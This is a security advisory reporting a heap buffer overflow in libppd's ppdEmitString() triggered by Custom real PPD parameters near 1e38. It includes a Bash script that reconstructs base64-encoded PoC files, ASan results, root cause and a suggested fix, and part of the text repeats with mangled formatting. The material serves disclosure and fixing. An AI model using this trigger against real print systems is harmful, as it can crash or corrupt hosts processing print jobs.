Summary
ppdEmitString() reserves only ten bytes for each marked Custom numeric
parameter. Four legal real values near 1e38 each format to roughly 38
bytes, causing _ppdStrFormatd() and subsequent emission to write past a
202-byte heap allocation.
Validated libppd source:
- tested build:
522af8dd135f4dde66b1aac8b9d067808bbe122d
- current upstream HEAD:
fc41539f761286396a7df8aeeda762070192e37e
The relevant source is byte-identical at both revisions.
Reproduction
Final upstream recheck on 2026-08-02: OpenPrinting/libppd fc41539f761286396a7df8aeeda762070192e37e.
poc/printer.ppd, SHA-256
780be281e46eb1391e2c91e1da5911c697493fb52fd9c845b7265e5bff27cc28,
defines four Custom real parameters with range 0..1e38.
Run ./reproduce.sh. MODE=control ./reproduce.sh marks only two parameters;
the default marks all four:
AuditMulti="{ P1=1e38 P2=1e38 P3=1e38 P4=1e38 }"
The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.
#!/usr/bin/env bash
set -euo pipefail
# PoC: libppd: Custom real parameters overflow ppdEmitString
# Finding ID: libppd-custom-real-emit-heap-overflow
# Trigger: ppdEmitString() reserves only ten bytes for each marked Custom
# numeric parameter. Four legal real values near 1e38 each format to roughly
# 38 bytes, causing _ppdStrFormatd() and subsequent emission to write past a
# 202-byte heap allocation.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.
OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"
for tool in base64 gzip sha256sum; do
command -v "$tool" >/dev/null || {
printf 'missing required tool: %s\n' "$tool" >&2
exit 1
}
done
write_file() {
local name="$1"
local expected_sha256="$2"
local path="$OUTPUT_DIR/$name"
local actual_sha256
mkdir -p "$(dirname "$path")"
base64 --decode | gzip --decompress > "$path"
actual_sha256="$(sha256sum "$path")"
actual_sha256="${actual_sha256%% *}"
if [[ "$actual_sha256" != "$expected_sha256" ]]; then
printf 'SHA-256 mismatch for %s\n' "$path" >&2
return 1
fi
printf '%s %s bytes sha256=%s\n' \
"$path" "$(wc -c < "$path")" "$actual_sha256"
}
# Malformed or boundary document consumed by the real filter/API.
# Output: document.png (85 bytes)
write_file document.png 4f5f710fca2ff97193c3584c9ec5ab6cb1a381a2256c1e649b2eb7d557b47afe <<'POC_PAYLOAD_0'
H4sIAAAAAAACA+sM8HPn5ZLiYmBg4PX0cAkC0pxAzMQBJBjW267kB1Iyni6OIRVzkhMErhf3ar6L
2tHsGHDYTmd76rdlkxksfrILORQWSYPUe7r6uaxzSmgCAEcHHUVVAAAA
POC_PAYLOAD_0
# PPD configuration needed to select the vulnerable filter state.
# Output: printer.ppd (1625 bytes)
write_file printer.ppd 780be281e46eb1391e2c91e1da5911c697493fb52fd9c845b7265e5bff27cc28 <<'POC_PAYLOAD_1'
H4sIAAAAAAACA61UTU/jMBC991dYPUEl6qTpp4WQoIDUVUstCntZ7cFNhmKtY0eOjdj++h33g6Ts
IuWwh0bWmzfjmfem7nB+e3GdmTUw0u53k3arc29sLtx3sKU0ukKlggqLuxFic6E3Xmwq/E5vlCxf
q8idTk0m9YaR2Wo5F07quNVZCO1fROq8BYu1Vouni3u/3YLFkguTgXoQeWjnUZQOrDNFqt7JE+SF
Eg6Qs3o11j3I9NeBhwVq0VrgqwJ8GqapslGDLv5CxJrMpw7hs1rV8xBZVdOfJVEcnZMgQeqL8iOA
quyR/RQ+X4cBjxhOLdTUFBJKRu6FKmEfwF7cTghRFEqmKJLR9E1n3RC8sLsZSERsbZjDxXw6R8mz
b2aN2TrYpjCyLEA/z0jn2mfSLbxyku6OJA9nRjgKtNR4+dJmYG8B6Rno9Dcjw4hwNG0Fzhf1/Fbn
Fl4EnioIyyghdavG2iN098V+sJOpMiU8z9hprakvnclreU/WByMKUwSdhRX5XxQeUx6jwMSCUChG
DMn4S26P8h4jvUbchPKEkaQRt095n5F+I+6A8gEjg0bcIeVDFL8Rd0T5iJFRI+6Y8jEj40bcCeUT
RiaNuHGEZkToRtSMHrwL5jVzL0b7YvQv/mTgca13Gyq3UFvkw3ZWkTk4/K+0PrgHAJfs8pIewR9D
vGI06f2ks1xs8JG6uTHvRHulrq5KcAXSMniTKZxs8jH7tKFH2OxegH+1dIzVm9pj/7mtfdGPu0M6
iLWCa9Sxuv4ErjqIxyQZksGkT0aDYbs2QIFvhMxBl5+GqONVmUPz7dYf2HjjulkGAAA=
POC_PAYLOAD_1
Result
The two-parameter control exits 0. The four-parameter trigger aborts with
ASan WRITE of size 1 in _ppdStrFormatd() at string.c:239, immediately
after the heap region allocated by ppdEmitString().
The real filter path reaches the overflow before reading the 1-by-1 PNG:
imagetops -> ppdFilterLoadPPD -> ppdLoadAttributes
-> ppdRasterInterpretPPD -> ppdEmitString
This is a heap write controlled by PPD parameter definitions and job option
values. It is not demonstrated as an arbitrary-address write.
Cause and expected behavior
The size estimate at ppd-emit.c:783 assigns ten bytes to each numeric value,
while line 1096 formats a real value with %.12f. The estimate is not an
upper bound for the accepted real range.
Emission should use a two-pass bounded formatter or grow the buffer after
measuring every formatted parameter. PPD ranges and finite values must also be
validated before marking.
Summary
ppdEmitString()reserves only ten bytes for each marked Custom numericparameter. Four legal
realvalues near1e38each format to roughly 38bytes, causing
_ppdStrFormatd()and subsequent emission to write past a202-byte heap allocation.
Validated libppd source:
522af8dd135f4dde66b1aac8b9d067808bbe122dfc41539f761286396a7df8aeeda762070192e37eThe relevant source is byte-identical at both revisions.
Reproduction
Final upstream recheck on 2026-08-02: OpenPrinting/libppd
fc41539f761286396a7df8aeeda762070192e37e.poc/printer.ppd, SHA-256780be281e46eb1391e2c91e1da5911c697493fb52fd9c845b7265e5bff27cc28,defines four Custom real parameters with range
0..1e38.Run
./reproduce.sh.MODE=control ./reproduce.shmarks only two parameters;the default marks all four:
The following commented Bash script constructs the exact PoC and control
inputs. Save it as
make_poc.sh, then runbash make_poc.sh poc.Result
The two-parameter control exits 0. The four-parameter trigger aborts with
ASan
WRITE of size 1in_ppdStrFormatd()atstring.c:239, immediatelyafter the heap region allocated by
ppdEmitString().The real filter path reaches the overflow before reading the 1-by-1 PNG:
This is a heap write controlled by PPD parameter definitions and job option
values. It is not demonstrated as an arbitrary-address write.
Cause and expected behavior
The size estimate at
ppd-emit.c:783assigns ten bytes to each numeric value,while line 1096 formats a real value with
%.12f. The estimate is not anupper bound for the accepted real range.
Emission should use a two-pass bounded formatter or grow the buffer after
measuring every formatted parameter. PPD ranges and finite values must also be
validated before marking.